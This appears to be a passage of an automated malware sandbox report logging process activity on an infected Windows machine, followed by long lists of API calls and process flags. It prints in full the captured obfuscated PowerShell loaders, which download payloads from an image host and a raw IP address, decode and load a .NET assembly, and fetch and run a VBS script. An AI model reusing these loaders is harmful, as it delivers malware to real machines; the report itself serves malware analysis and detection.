Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041BEEE LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

12_2_0041BEEE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E74610 push edx; iretd	3_2_06E74AFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E71F40 push edx; iretd	3_2_06E72162
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E742F3 push edx; iretd	3_2_06E742F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E716F0 push edx; iretd	3_2_06E718C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E73AF8 push edx; iretd	3_2_06E73C3E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E706C7 push edx; iretd	3_2_06E706CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E73EC0 push edx; iretd	3_2_06E74042
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E70ACB push edx; iretd	3_2_06E70ACE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72EB0 push edx; iretd	3_2_06E72EB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72AB8 push edx; iretd	3_2_06E72C42
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E73284 push edx; iretd	3_2_06E73286
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E70E80 push edx; iretd	3_2_06E70FBA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E71280 push edx; iretd	3_2_06E713DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72A9F pushad ; retf	3_2_06E72AB6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72660 push edx; iretd	3_2_06E7273E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E73678 push edx; iretd	3_2_06E737DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72644 push edx; iretd	3_2_06E72646
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E7365B push edx; iretd	3_2_06E7365E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E70258 push edx; iretd	3_2_06E7040E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E7422B push edx; iretd	3_2_06E7422E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E70237 push edx; iretd	3_2_06E7023A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E743E0 push edx; iretd	3_2_06E744FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E707EC push edx; iretd	3_2_06E707EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E713F8 push edx; iretd	3_2_06E71532
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E737F8 push edx; iretd	3_2_06E739A6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E743C3 push edx; iretd	3_2_06E743C6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E74BD0 push edx; iretd	3_2_06E74BD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E70FD8 push edx; iretd	3_2_06E7112E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72FB0 push edx; iretd	3_2_06E73112
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E72F93 push edx; iretd	3_2_06E72F96
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06E71B73 push edx; iretd	3_2_06E71B76

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00406128 ShellExecuteW,URLDownloadToFileW,

12_2_00406128

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00419DBA OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

12_2_00419DBA

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

12_2_0041BEEE

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
